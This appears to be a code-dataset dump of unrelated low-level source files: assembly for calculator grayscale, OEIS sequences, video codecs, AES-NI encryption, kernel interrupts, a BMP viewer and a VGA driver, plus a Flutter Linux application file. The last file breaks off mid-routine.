text
stringlengths
1
1.05M
; Graylib interrupt installer ; Ported and heavily modified by Stefano Bodrato - Mar 2000 ; Lateron more modified by Henk Poley - Sep 2001 ; ; original code (graydraw.asm) by: ; ;------------------------------------------------------------ ; Date: Sun, 5 May 1996 12:44:17 -0400 (EDT) ; From: Jingyang Xu [br00416@bingsuns.cc.binghamton.edu] ; Subject: LZ: Graydraw source! ;------------------------------------------------------------ ; ; $Id: gray85.asm,v 1.6 2015/01/21 07:05:00 stefano Exp $ ; PUBLIC graybit1 PUBLIC graybit2 defc intcount = $8980 ld hl,($8be5) ; Get end of VAT dec hl ; Make sure we're clear it.. dec hl ; ld a,h ; Now we need to get the position of sub 4 ; the nearest screen boundary ld h,a ; ld l,0 ; push hl ; ld de,($8be1) ; Tests if there is a space for the 1K or a ; needed for the 2nd screen sbc hl,de ; pop hl ; jr c,cleanup ; If not, stop the program... and @11000000 ; Test if our block of memory is cp @11000000 ; within the range addressable jr nz,cleanup ; by the LCD hardware ld (graybit2),hl ; Save the address of our 2nd Screen ld a,h ; If in range, set up the signal to and @00111111 ; send thrue port 0 to switch to our ld (page2),a ; 2nd screen ;---- im 1 ; ld a,$87 ; locate vector table at $8700-$8800 ld i,a ; ld bc,$0100 ; vector table is 256 bytes ld h,a ; ld l,c ; HL = $8700 ld d,a ; ld e,b ; DE = $8801 inc a ; A = $88 ld (hl),a ; interrupt "program" located at 8888h ldir ; ; ld l,a ; HL = $8787 ld (hl),$C3 ; Put a JP IntProcStart at $8787 ld de,IntProcStart ; (Done this way for relocatable code...) inc hl ; ld (hl),e ; inc hl ; ld (hl),d ; ;---- xor a ; Init counter ld (intcount),a ; im 2 ; Enable int jp jump_over ; Jump over the interrupt code IntProcStart: push af ; in a,(3) ; bit 1,a ; check that it is a vbl interrupt jr z,EndInt ; ; ld a,(intcount) ; cp 2 ; jr z,Disp_2 ; ; Disp_1: inc a ; ld (intcount),a ; ld a,(page2) ; out (0),a ; jr EndInt ; Disp_2: ld a,$3c ; out (0),a ; sub a ; ld (intcount),a ; EndInt: pop af ; ei ; ret ; Skip standard interrupt IntProcEnd: graybit1: defw VIDEO_MEM graybit2: defw 0 page2: defb 0 jump_over:
; A026898: a(n) = Sum_{k=0..n} (n-k+1)^k. ; 1,2,4,9,23,66,210,733,2781,11378,49864,232769,1151915,6018786,33087206,190780213,1150653921,7241710930,47454745804,323154696185,2282779990495,16700904488706,126356632390298,987303454928973,7957133905608837,66071772829247410,564631291138143984,4961039091344431217,44775185079044187955,414747562017467951522,3939676100069476203758,38347543372046856152613,382212360544615959020489,3898251044245064809850770,40659023343493456531478580,433416435364210050271615657,4719197932914333643288506535,52457942626843605468934233794,594993495703978774994280732898,6882713132339813587735802188989,81161921455972979757993852758189,975210351049687799105275022799090,11934782559342503006808994609811352,148705152247008287864765366272303777 lpb $0 add $3,1 mov $2,$3 pow $2,$0 sub $0,1 add $1,$2 lpe add $1,1 mov $0,$1
; asm_iscntrl SECTION code_clib PUBLIC asm_iscntrl ; determine if the char is in [A-Za-z] ; enter : a = char ; exit : carry = not a control char ; uses : f .asm_iscntrl cp 127 ccf ret z cp 32 ccf ret
#include "my_application.h" #include <flutter_linux/flutter_linux.h> #ifdef GDK_WINDOWING_X11 #include <gdk/gdkx.h> #endif #include "flutter/generated_plugin_registrant.h" struct _MyApplication { GtkApplication parent_instance; char** dart_entrypoint_arguments; }; G_DEFINE_TYPE(MyApplication, my_application, GTK_TYPE_APPLICATION) // Implements GApplication::activate. static void my_application_activate(GApplication* application) { MyApplication* self = MY_APPLICATION(application); GtkWindow* window = GTK_WINDOW(gtk_application_window_new(GTK_APPLICATION(application))); // Use a header bar when running in GNOME as this is the common style used // by applications and is the setup most users will be using (e.g. Ubuntu // desktop). // If running on X and not using GNOME then just use a traditional title bar // in case the window manager does more exotic layout, e.g. tiling. // If running on Wayland assume the header bar will work (may need changing // if future cases occur). gboolean use_header_bar = TRUE; #ifdef GDK_WINDOWING_X11 GdkScreen* screen = gtk_window_get_screen(window); if (GDK_IS_X11_SCREEN(screen)) { const gchar* wm_name = gdk_x11_screen_get_window_manager_name(screen); if (g_strcmp0(wm_name, "GNOME Shell") != 0) { use_header_bar = FALSE; } } #endif if (use_header_bar) { GtkHeaderBar* header_bar = GTK_HEADER_BAR(gtk_header_bar_new()); gtk_widget_show(GTK_WIDGET(header_bar)); gtk_header_bar_set_title(header_bar, "minigames"); gtk_header_bar_set_show_close_button(header_bar, TRUE); gtk_window_set_titlebar(window, GTK_WIDGET(header_bar)); } else { gtk_window_set_title(window, "minigames"); } gtk_window_set_default_size(window, 1280, 720); gtk_widget_show(GTK_WIDGET(window)); g_autoptr(FlDartProject) project = fl_dart_project_new(); fl_dart_project_set_dart_entrypoint_arguments(project, self->dart_entrypoint_arguments); FlView* view = fl_view_new(project); gtk_widget_show(GTK_WIDGET(view)); gtk_container_add(GTK_CONTAINER(window), GTK_WIDGET(view)); fl_register_plugins(FL_PLUGIN_REGISTRY(view)); gtk_widget_grab_focus(GTK_WIDGET(view)); } // Implements GApplication::local_command_line. static gboolean my_application_local_command_line(GApplication* application, gchar*** arguments, int* exit_status) { MyApplication* self = MY_APPLICATION(application); // Strip out the first argument as it is the binary name. self->dart_entrypoint_arguments = g_strdupv(*arguments + 1); g_autoptr(GError) error = nullptr; if (!g_application_register(application, nullptr, &error)) { g_warning("Failed to register: %s", error->message); *exit_status = 1; return TRUE; } g_application_activate(application); *exit_status = 0; return TRUE; } // Implements GObject::dispose. static void my_application_dispose(GObject* object) { MyApplication* self = MY_APPLICATION(object); g_clear_pointer(&self->dart_entrypoint_arguments, g_strfreev); G_OBJECT_CLASS(my_application_parent_class)->dispose(object); } static void my_application_class_init(MyApplicationClass* klass) { G_APPLICATION_CLASS(klass)->activate = my_application_activate; G_APPLICATION_CLASS(klass)->local_command_line = my_application_local_command_line; G_OBJECT_CLASS(klass)->dispose = my_application_dispose; } static void my_application_init(MyApplication* self) {} MyApplication* my_application_new() { return MY_APPLICATION(g_object_new(my_application_get_type(), "application-id", APPLICATION_ID, "flags", G_APPLICATION_NON_UNIQUE, nullptr)); }
; A152822: Periodic sequence [1,1,0,1] of length 4. ; 1,1,0,1,1,1,0,1,1,1,0,1,1,1,0,1,1,1,0,1,1,1,0,1,1,1,0,1,1,1,0,1,1,1,0,1,1,1,0,1,1,1,0,1,1,1,0,1,1,1,0,1,1,1,0,1,1,1,0,1,1,1,0,1,1,1,0,1,1,1,0,1,1,1,0,1,1,1,0,1,1,1,0,1,1,1,0,1,1,1,0,1,1,1,0,1,1,1,0,1 gcd $0,8 cmp $0,2 pow $1,$0 mov $0,$1
; ; Copyright (c) 2010 The WebM project authors. All Rights Reserved. ; ; Use of this source code is governed by a BSD-style license ; that can be found in the LICENSE file in the root of the source ; tree. An additional intellectual property rights grant can be found ; in the file PATENTS. All contributing project authors may ; be found in the AUTHORS file in the root of the source tree. ; %include "third_party/x86inc/x86inc.asm" SECTION .text %macro convolve_fn 1-2 %ifidn %1, avg %define AUX_XMM_REGS 4 %else %define AUX_XMM_REGS 0 %endif %ifidn %2, highbd %define pavg pavgw cglobal %2_convolve_%1, 4, 7, 4+AUX_XMM_REGS, src, src_stride, \ dst, dst_stride, \ fx, fxs, fy, fys, w, h, bd %else %define pavg pavgb cglobal convolve_%1, 4, 7, 4+AUX_XMM_REGS, src, src_stride, \ dst, dst_stride, \ fx, fxs, fy, fys, w, h %endif mov r4d, dword wm %ifidn %2, highbd shl r4d, 1 shl src_strideq, 1 shl dst_strideq, 1 %else cmp r4d, 4 je .w4 %endif cmp r4d, 8 je .w8 cmp r4d, 16 je .w16 cmp r4d, 32 je .w32 %ifidn %2, highbd cmp r4d, 64 je .w64 mov r4d, dword hm .loop128: movu m0, [srcq] movu m1, [srcq+16] movu m2, [srcq+32] movu m3, [srcq+48] %ifidn %1, avg pavg m0, [dstq] pavg m1, [dstq+16] pavg m2, [dstq+32] pavg m3, [dstq+48] %endif mova [dstq ], m0 mova [dstq+16], m1 mova [dstq+32], m2 mova [dstq+48], m3 movu m0, [srcq+64] movu m1, [srcq+80] movu m2, [srcq+96] movu m3, [srcq+112] add srcq, src_strideq %ifidn %1, avg pavg m0, [dstq+64] pavg m1, [dstq+80] pavg m2, [dstq+96] pavg m3, [dstq+112] %endif mova [dstq+64], m0 mova [dstq+80], m1 mova [dstq+96], m2 mova [dstq+112], m3 add dstq, dst_strideq dec r4d jnz .loop128 RET %endif .w64: mov r4d, dword hm .loop64: movu m0, [srcq] movu m1, [srcq+16] movu m2, [srcq+32] movu m3, [srcq+48] add srcq, src_strideq %ifidn %1, avg pavg m0, [dstq] pavg m1, [dstq+16] pavg m2, [dstq+32] pavg m3, [dstq+48] %endif mova [dstq ], m0 mova [dstq+16], m1 mova [dstq+32], m2 mova [dstq+48], m3 add dstq, dst_strideq dec r4d jnz .loop64 RET .w32: mov r4d, dword hm .loop32: movu m0, [srcq] movu m1, [srcq+16] movu m2, [srcq+src_strideq] movu m3, [srcq+src_strideq+16] lea srcq, [srcq+src_strideq*2] %ifidn %1, avg pavg m0, [dstq] pavg m1, [dstq +16] pavg m2, [dstq+dst_strideq] pavg m3, [dstq+dst_strideq+16] %endif mova [dstq ], m0 mova [dstq +16], m1 mova [dstq+dst_strideq ], m2 mova [dstq+dst_strideq+16], m3 lea dstq, [dstq+dst_strideq*2] sub r4d, 2 jnz .loop32 RET .w16: mov r4d, dword hm lea r5q, [src_strideq*3] lea r6q, [dst_strideq*3] .loop16: movu m0, [srcq] movu m1, [srcq+src_strideq] movu m2, [srcq+src_strideq*2] movu m3, [srcq+r5q] lea srcq, [srcq+src_strideq*4] %ifidn %1, avg pavg m0, [dstq] pavg m1, [dstq+dst_strideq] pavg m2, [dstq+dst_strideq*2] pavg m3, [dstq+r6q] %endif mova [dstq ], m0 mova [dstq+dst_strideq ], m1 mova [dstq+dst_strideq*2], m2 mova [dstq+r6q ], m3 lea dstq, [dstq+dst_strideq*4] sub r4d, 4 jnz .loop16 RET .w8: mov r4d, dword hm lea r5q, [src_strideq*3] lea r6q, [dst_strideq*3] .loop8: movh m0, [srcq] movh m1, [srcq+src_strideq] movh m2, [srcq+src_strideq*2] movh m3, [srcq+r5q] lea srcq, [srcq+src_strideq*4] %ifidn %1, avg movh m4, [dstq] movh m5, [dstq+dst_strideq] movh m6, [dstq+dst_strideq*2] movh m7, [dstq+r6q] pavg m0, m4 pavg m1, m5 pavg m2, m6 pavg m3, m7 %endif movh [dstq ], m0 movh [dstq+dst_strideq ], m1 movh [dstq+dst_strideq*2], m2 movh [dstq+r6q ], m3 lea dstq, [dstq+dst_strideq*4] sub r4d, 4 jnz .loop8 RET %ifnidn %2, highbd .w4: mov r4d, dword hm lea r5q, [src_strideq*3] lea r6q, [dst_strideq*3] .loop4: movd m0, [srcq] movd m1, [srcq+src_strideq] movd m2, [srcq+src_strideq*2] movd m3, [srcq+r5q] lea srcq, [srcq+src_strideq*4] %ifidn %1, avg movd m4, [dstq] movd m5, [dstq+dst_strideq] movd m6, [dstq+dst_strideq*2] movd m7, [dstq+r6q] pavg m0, m4 pavg m1, m5 pavg m2, m6 pavg m3, m7 %endif movd [dstq ], m0 movd [dstq+dst_strideq ], m1 movd [dstq+dst_strideq*2], m2 movd [dstq+r6q ], m3 lea dstq, [dstq+dst_strideq*4] sub r4d, 4 jnz .loop4 RET %endif %endmacro INIT_XMM sse2 convolve_fn copy convolve_fn avg %if CONFIG_VP9_HIGHBITDEPTH convolve_fn copy, highbd convolve_fn avg, highbd %endif
############################################################################### # Copyright 2018 Intel Corporation # All Rights Reserved. # # If this software was obtained under the Intel Simplified Software License, # the following terms apply: # # The source code, information and material ("Material") contained herein is # owned by Intel Corporation or its suppliers or licensors, and title to such # Material remains with Intel Corporation or its suppliers or licensors. The # Material contains proprietary information of Intel or its suppliers and # licensors. The Material is protected by worldwide copyright laws and treaty # provisions. No part of the Material may be used, copied, reproduced, # modified, published, uploaded, posted, transmitted, distributed or disclosed # in any way without Intel's prior express written permission. No license under # any patent, copyright or other intellectual property rights in the Material # is granted to or conferred upon you, either expressly, by implication, # inducement, estoppel or otherwise. Any license under such intellectual # property rights must be express and approved by Intel in writing. # # Unless otherwise agreed by Intel in writing, you may not remove or alter this # notice or any other notice embedded in Materials by Intel or Intel's # suppliers or licensors in any way. # # # If this software was obtained under the Apache License, Version 2.0 (the # "License"), the following terms apply: # # You may not use this file except in compliance with the License. You may # obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 # # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # # See the License for the specific language governing permissions and # limitations under the License. ############################################################################### .text .p2align 5, 0x90 .globl _g9_EncryptECB_RIJ128pipe_AES_NI _g9_EncryptECB_RIJ128pipe_AES_NI: push %ebp mov %esp, %ebp push %ebx push %esi push %edi movl (8)(%ebp), %esi movl (12)(%ebp), %edi movl (20)(%ebp), %ecx movl (24)(%ebp), %edx sub $(64), %edx jl .Lshort_inputgas_1 .Lblks_loopgas_1: movdqa (%ecx), %xmm4 lea (16)(%ecx), %ebx movdqu (%esi), %xmm0 movdqu (16)(%esi), %xmm1 movdqu (32)(%esi), %xmm2 movdqu (48)(%esi), %xmm3 add $(64), %esi pxor %xmm4, %xmm0 pxor %xmm4, %xmm1 pxor %xmm4, %xmm2 pxor %xmm4, %xmm3 movdqa (%ebx), %xmm4 add $(16), %ebx movl (16)(%ebp), %eax sub $(1), %eax .Lcipher_loopgas_1: aesenc %xmm4, %xmm0 aesenc %xmm4, %xmm1 aesenc %xmm4, %xmm2 aesenc %xmm4, %xmm3 movdqa (%ebx), %xmm4 add $(16), %ebx dec %eax jnz .Lcipher_loopgas_1 aesenclast %xmm4, %xmm0 movdqu %xmm0, (%edi) aesenclast %xmm4, %xmm1 movdqu %xmm1, (16)(%edi) aesenclast %xmm4, %xmm2 movdqu %xmm2, (32)(%edi) aesenclast %xmm4, %xmm3 movdqu %xmm3, (48)(%edi) add $(64), %edi sub $(64), %edx jge .Lblks_loopgas_1 .Lshort_inputgas_1: add $(64), %edx jz .Lquitgas_1 movl (16)(%ebp), %eax lea (,%eax,4), %ebx lea (-144)(%ecx,%ebx,4), %ebx .Lsingle_blk_loopgas_1: movdqu (%esi), %xmm0 add $(16), %esi pxor (%ecx), %xmm0 cmp $(12), %eax jl .Lkey_128_sgas_1 jz .Lkey_192_sgas_1 .Lkey_256_sgas_1: aesenc (-64)(%ebx), %xmm0 aesenc (-48)(%ebx), %xmm0 .Lkey_192_sgas_1: aesenc (-32)(%ebx), %xmm0 aesenc (-16)(%ebx), %xmm0 .Lkey_128_sgas_1: aesenc (%ebx), %xmm0 aesenc (16)(%ebx), %xmm0 aesenc (32)(%ebx), %xmm0 aesenc (48)(%ebx), %xmm0 aesenc (64)(%ebx), %xmm0 aesenc (80)(%ebx), %xmm0 aesenc (96)(%ebx), %xmm0 aesenc (112)(%ebx), %xmm0 aesenc (128)(%ebx), %xmm0 aesenclast (144)(%ebx), %xmm0 movdqu %xmm0, (%edi) add $(16), %edi sub $(16), %edx jnz .Lsingle_blk_loopgas_1 .Lquitgas_1: pop %edi pop %esi pop %ebx pop %ebp ret
%include "../macros/long_mode_macros.mac" %include "../macros/asm_screen_utils.mac" BITS 64 ;; PIC extern fin_intr_pic1 ;; contextManager extern notificarRelojTick extern notificarTecla ;; kmain64 extern kernel_panic %define eoi_register_apic 0xFEE000B0 %macro interrupt_finished 0 push rax mov rax, eoi_register_apic mov [rax], eax pop rax %endmacro %macro ISR_GENERIC_HANDLER_ERR_CODE 2 global _isr%1 %defstr intr_itoa_%1 %1 interrupt_base_msg%1: db "KERNEL PANIC - Exception #", intr_itoa_%1, " : ", %2, " has ocurred", 0 interrupt_base_len%1 equ $ - interrupt_base_msg%1 _isr%1: ;xchg bx, bx add rsp, 8;desapilo (e ignoro) el error code. pushaq imprimir_texto_ml interrupt_base_msg%1, interrupt_base_len%1, 0x4F, 0, 80-interrupt_base_len%1 xchg bx, bx ;nota para mi yo del futuro: es una buena idea parar aca ;y debugear el iretq y revisar si es trap , fault o interrupt para que no lopee en la instr que explota popaq iretq %endmacro %macro ISR_GENERIC_HANDLER 2 global _isr%1 %defstr intr_itoa_%1 %1 interrupt_base_msg%1: db "KERNEL PANIC - Exception #", intr_itoa_%1, " : ", %2, " has ocurred", 0 interrupt_base_len%1 equ $ - interrupt_base_msg%1 _isr%1: ;xchg bx, bx pushaq imprimir_texto_ml interrupt_base_msg%1, interrupt_base_len%1, 0x4F, 0, 80-interrupt_base_len%1 xchg bx, bx ;nota para mi yo del futuro: es una buena idea parar aca ;y debugear el iretq y revisar si es trap , fault o interrupt para que no lopee en la instr que explota popaq iretq %endmacro %macro user_interrupt 1 global _isr%1 _isr%1: xchg bx, bx interrupt_finished iretq %endmacro %macro set_user_interrupts 2 %assign j %1 %rep %2-%1 user_interrupt j %assign j j+1 %endrep %endmacro ;; ;; Rutinas de atención de las EXCEPCIONES ;; ISR_GENERIC_HANDLER 0, '#DE Divide Error' ISR_GENERIC_HANDLER 1, '#DB RESERVED' ISR_GENERIC_HANDLER 2, 'NMI Interrupt' ISR_GENERIC_HANDLER 3, '#BP Breakpoint' ISR_GENERIC_HANDLER 4, '#OF Overflow' ISR_GENERIC_HANDLER 5, '#BR BOUND Range Exceeded' ISR_GENERIC_HANDLER 6, '#UD Invalid Opcode (Undefined Opcode)' ISR_GENERIC_HANDLER 7, '#NM Device Not Available (No Math Coprocessor)' ISR_GENERIC_HANDLER_ERR_CODE 8, '#DF Double Fault' ISR_GENERIC_HANDLER_ERR_CODE 9, 'Coprocessor Segment Overrun (reserved)'; --> desde 386 no se produce esta excepcion ISR_GENERIC_HANDLER_ERR_CODE 10, '#TS Invalid TSS' ISR_GENERIC_HANDLER_ERR_CODE 11, '#NP Segment Not Present' ISR_GENERIC_HANDLER_ERR_CODE 12, '#SS Stack-Segment Fault' ISR_GENERIC_HANDLER_ERR_CODE 13, '#GP General Protection' ISR_GENERIC_HANDLER_ERR_CODE 14, '#PF Page Fault' ISR_GENERIC_HANDLER 15, '(Intel reserved. Do not use.)' ISR_GENERIC_HANDLER 16, '#MF x87 FPU Floating-Point Error (Math Fault)' ISR_GENERIC_HANDLER_ERR_CODE 17, '#AC Alignment Check' ISR_GENERIC_HANDLER 18, '#MC Machine Check' ISR_GENERIC_HANDLER 19, '#XM SIMD Floating-Point Exception' ISR_GENERIC_HANDLER 20, '#VE Virtualization Exception' ;ISR_GENERIC_HANDLER 20//Reserved -> intel use only ;...//Reserved -> intel use only ;ISR_GENERIC_HANDLER 31//Reserved -> intel use only ;...user defined data ;...user defined interrupts ;; ;; Rutina de atención del RELOJ ;; -------------------------------------------------------------------------- ;; global _isr32 _isr32: pushaq call fin_intr_pic1;comunicarle al al pic que ya se atendio la interrupción ;wrapper en contextManager ;void notificarRelojTick() call notificarRelojTick popaq iretq ;; ;; Rutina de atención del TECLADO ;; -------------------------------------------------------------------------- ;; global _isr33 _isr33: pushaq ;xchg bx, bx call fin_intr_pic1;comunicarle al al pic que ya se atendio la interrupción ;obtenemos el scan code in al, 0x60 ;wrapper en contextManager ;void notificarTecla(uint8_t keyCode); mov di, ax;no puedo acceder a al en x64 pero muevo 16 bits en modo x64, ;y tomo los 8 bits menos significativos en C ;call notificarTecla popaq iretq ;Ignorar la interrupcion ;Sirve para evitar interrupciones espurias global _isr_spurious _isr_spurious: xchg bx, bx interrupt_finished iretq global _isr34 _isr34: mov rax, 1 interrupt_finished iretq set_user_interrupts 21, 32 set_user_interrupts 35,143 set_user_interrupts 144,256
Title Bitmap Display Program (bitmap.asm) ; by Diego Escala, 5/98 ; Used by Permission. ; The following procedures will load a Windows type BMP file ; and display it on the screen. ShowBMP calls the necessary ; procedures in the right order. When it's called, DS:DX must ; point to an ASCIIZ string containing the name and path ; of the BMP file. ; Max. BMP resolution = 320x200x256 .model small .186 .code PUBLIC ShowBMP ShowBMP proc ;(BX = open file handle) pusha ; Save registers call ReadHeader ; Reads the 54-byte header containing file info jc InvalidBMP ; Not a valid BMP file? Show error and quit call ReadPal ; Read the BMP's palette and put it in a buffer push es call InitVid ; Set up the display for 320x200 VGA graphics call SendPal ; Send the palette to the video registers call LoadBMP ; Load the graphic and display it pop es jmp ProcDone InvalidBMP: mov ah,9 mov dx,offset msgInvBMP int 21h ProcDone: popa ; Restore registers ret ShowBMP endp CheckValid proc ; This procedure checks the first two bytes of the file. If they do not ; match the standard beginning of a BMP header ("BM"), the carry flag is ; set. clc mov si,offset Header mov di,offset BMPStart mov cx,2 ; BMP ID is 2 bytes long. CVloop: mov al,[si] ; Get a byte from the header. mov dl,[di] cmp al,dl ; Is it what it should be? jne NotValid ; If not, set the carry flag. inc si inc di loop CVloop jmp CVdone NotValid: stc CVdone: ret CheckValid endp GetBMPInfo proc ; This procedure pulls some important BMP info from the header ; and puts it in the appropriate variables. mov ax,header[0Ah] ; AX = Offset of the beginning of the graphic. sub ax,54 ; Subtract the length of the header shr ax,2 ; and divide by 4 mov PalSize,ax ; to get the number of colors in the BMP ; (Each palette entry is 4 bytes long). mov ax,header[12h] ; AX = Horizontal resolution (width) of BMP. mov BMPWidth,ax ; Store it. mov ax,header[16h] ; AX = Vertical resolution (height) of BMP. mov BMPHeight,ax ; Store it. ret GetBMPInfo endp InitVid proc ; This procedure initializes the video mode and ; sets ES to the video RAM segment address. mov ah,00h ; set video mode mov al,newVideoMode int 10h push 0A000h ; set ES to video segment address pop es ret InitVid endp LoadBMP proc ; BMP graphics are saved upside-down. This procedure reads the graphic ; line by line, displaying the lines from bottom to top. The line at ; which it starts depends on the vertical resolution, so the top-left ; corner of the graphic will always be at the top-left corner of the screen. ; The video memory is a two-dimensional array of memory bytes which ; can be addressed and modified individually. Each byte represents ; a pixel on the screen, and each byte contains the color of the ; pixel at that location. mov cx,BMPHeight ; We're going to display that many lines ShowLoop: push cx mov di,cx ; Make a copy of CX shl cx,6 ; Multiply CX by 64 shl di,8 ; Multiply DI by 256 add di,cx ; DI = CX * 320, and points to the first ; pixel on the desired screen line. mov ah,3fh mov cx,BMPWidth mov dx,offset ScrLine int 21h ; Read one line into the buffer. cld ; Clear direction flag, for movsb. mov cx,BMPWidth mov si,offset ScrLine rep movsb ; Copy line in buffer to screen. pop cx loop ShowLoop ret LoadBMP endp ReadHeader proc ; This procedure checks to make sure the file is a valid BMP, and gets some ; information about the graphic. mov ah,3fh mov cx,54 mov dx,offset Header int 21h ; Read file header into buffer. call CheckValid ; Is it a valid BMP file? jc RHdone ; No? Quit. call GetBMPInfo ; Otherwise, process the header. RHdone: ret ReadHeader endp ReadPal proc mov ah,3fh mov cx,PalSize ; CX = Number of colors in palette. shl cx,2 ; CX = Multiply by 4 to get size (in bytes) ; of palette. mov dx,offset palBuff int 21h ; Put the palette into the buffer. ret ReadPal endp SendPal proc ; This procedure goes through the palette buffer, sending information about ; the palette to the video registers. One byte is sent out ; port 3C8h, containing the number of the first color in the palette that ; will be sent (0=the first color). Then, RGB information about the colors ; (any number of colors) is sent out port 3C9h. mov si,offset palBuff ; Point to buffer containing palette. mov cx,PalSize ; CX = Number of colors to send. mov dx,3c8h mov al,0 ; We will start at 0. out dx,al inc dx ; DX = 3C9h. sndLoop: ; Note: Colors in a BMP file are saved as BGR values rather than RGB. mov al,[si+2] ; Get red value. shr al,2 ; Max. is 255, but video only allows ; values of up to 63. Dividing by 4 ; gives a good value. out dx,al ; Send it. mov al,[si+1] ; Get green value. shr al,2 out dx,al ; Send it. mov al,[si] ; Get blue value. shr al,2 out dx,al ; Send it. add si,4 ; Point to next color. ; (There is a null chr. after every color.) loop sndLoop ret SendPal endp .data Header label word HeadBuff db 54 dup('H') palBuff db 1024 dup('P') ScrLine db 320 dup(0) BMPStart db 'BM' PalSize dw ? BMPHeight dw ? BMPWidth dw ? msgInvBMP db "Not a valid BMP file!",7,0Dh,0Ah,24h msgFileErr db "Error opening file!",7,0Dh,0Ah,24h newVideoMode db 13h ; 320x200x256 video mode end
;Testname=aout; Arguments=-faout -olnxhello.o -Ox; Files=stdout stderr lnxhello.o ;Testname=aoutb; Arguments=-faoutb -olnxhello.o -Ox; Files=stdout stderr lnxhello.o ;Testname=as86; Arguments=-fas86 -olnxhello.o -Ox; Files=stdout stderr lnxhello.o ;Testname=elf32; Arguments=-felf32 -olnxhello.o -Ox; Files=stdout stderr lnxhello.o ;Testname=elf64; Arguments=-felf64 -olnxhello.o -Ox; Files=stdout stderr lnxhello.o ;Testname=obj; Arguments=-fobj -olnxhello.o -Ox; Files=stdout stderr lnxhello.o ;Testname=rdf; Arguments=-frdf -olnxhello.o -Ox; Files=stdout stderr lnxhello.o ;Testname=win32; Arguments=-fwin32 -olnxhello.o -Ox; Files=stdout stderr lnxhello.o ;Testname=win64; Arguments=-fwin64 -olnxhello.o -Ox; Files=stdout stderr lnxhello.o ; To test where code that is placed before any explicit SECTION ; gets placed, and what happens if a .text section has an ORG ;statement, uncomment the following lines. ; ; times 10h nop ; ;section .text ;org 0x300 ; times 20h inc ax ; let's see which of these sections can be placed in the specified order. section .appspecific section .data section .stringdata section .mytext section .code section .extra_code section .stringdata mystr1: db "Hello, this is string 1", 13, 10, '$' section .extra_code ;org 0x200 bits 16 more: mov si, asciz1 mov ah, 0x0E xor bx, bx .print: lodsb test al, al jz .end int 0x10 jmp short .print .end: xor ax, ax int 0x16 mov ax, 0x4c00 int 0x21 section .appspecific asciz1: db "This is string 2", 0 section .code ;org 0x100 bits 16 start: mov dx, mystr1 mov ah, 9 int 0x21 xor ax, ax int 0x16 jmp more section .text xor eax,eax times 50h nop section .mytext xor ebx,ebx section .data db 95h,95h,95h,95h,95h,95h,95h,95h section .hmm resd 2 section .bss resd 8 section .final1 inc ax section .final2 inc bx section .final3 inc cx
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1992 -- All Rights Reserved PROJECT: PC GEOS MODULE: Video Drivers FILE: vga8Chars.asm AUTHOR: Jim DeFrisco, Oct 8, 1992 ROUTINES: Name Description ---- ----------- REVISION HISTORY: Name Date Description ---- ---- ----------- Jim 10/ 8/92 Initial revision DESCRIPTION: $Id: vga8Chars.asm,v 1.2 96/08/05 03:51:45 canavese Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Char1In1Out %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Draw a character, 1 byte of picture data CALLED BY: INTERNAL FastCharCommon PASS: ds:si - character data es:di - screen position ch - number of lines to draw on stack - ax RETURN: ax - popped off stack DESTROYED: ch, dx, bp, si, di PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jim 10/19/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ Char1In1Out proc near uses bx .enter NMEM < mov bp, cs:[modeInfo].VMI_scanSize > sub bp, 16 mov bx, cs:[currentColor] ; get current draw color ; do next scan. Load data byte and go for it. scanLoop: call DrawOneDataByte dec ch ; one less scan to do jz done NMEM < NextScan di,bp > MEM < NextScan di ; onto next scan line > MEM < tst cs:[bm_scansNext] ; if zero, done > MEM < jns scanLoop > NMEM < jmp scanLoop > done: .leave pop ax jmp PSL_afterDraw Char1In1Out endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DrawOneDataByte %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Draw one data byte, part of a series CALLED BY: PASS: ds:si - points to byte to draw es:di - points into frame buffer al - color to draw with RETURN: nothing DESTROYED: ah PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jim 10/19/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DrawOneDataByte proc near mov ah, ds:[si] ; save data byte in al inc si NextScan di, 0 jc pageDCB nopageDCB: shl ah,1 jnc pix2 mov [es:di],bx pix2: inc di inc di shl ah,1 jnc pix3 mov [es:di],bx pix3: inc di inc di shl ah,1 jnc pix4 mov [es:di],bx pix4: inc di inc di shl ah,1 jnc pix5 mov [es:di],bx pix5: inc di inc di shl ah,1 jnc pix6 mov [es:di],bx pix6: inc di inc di shl ah,1 jnc pix7 mov [es:di],bx pix7: inc di inc di shl ah,1 jnc pix8 mov [es:di],bx pix8: inc di inc di shl ah,1 jnc done mov [es:di],bx done: inc di inc di ret pageDCB: mov dx, cs:[pixelsLeft] cmp dx, 8 ja nopageDCB shl ah, 1 jnc loop1 mov [es:di], bx loop1: inc di inc di dec dx jnz DCB_1 call MidScanNextWin DCB_1: shl ah, 1 jnc loop2 mov [es:di], bx loop2: inc di inc di dec dx jnz DCB_2 call MidScanNextWin DCB_2: shl ah, 1 jnc loop3 mov [es:di], bx loop3: inc di inc di dec dx jnz 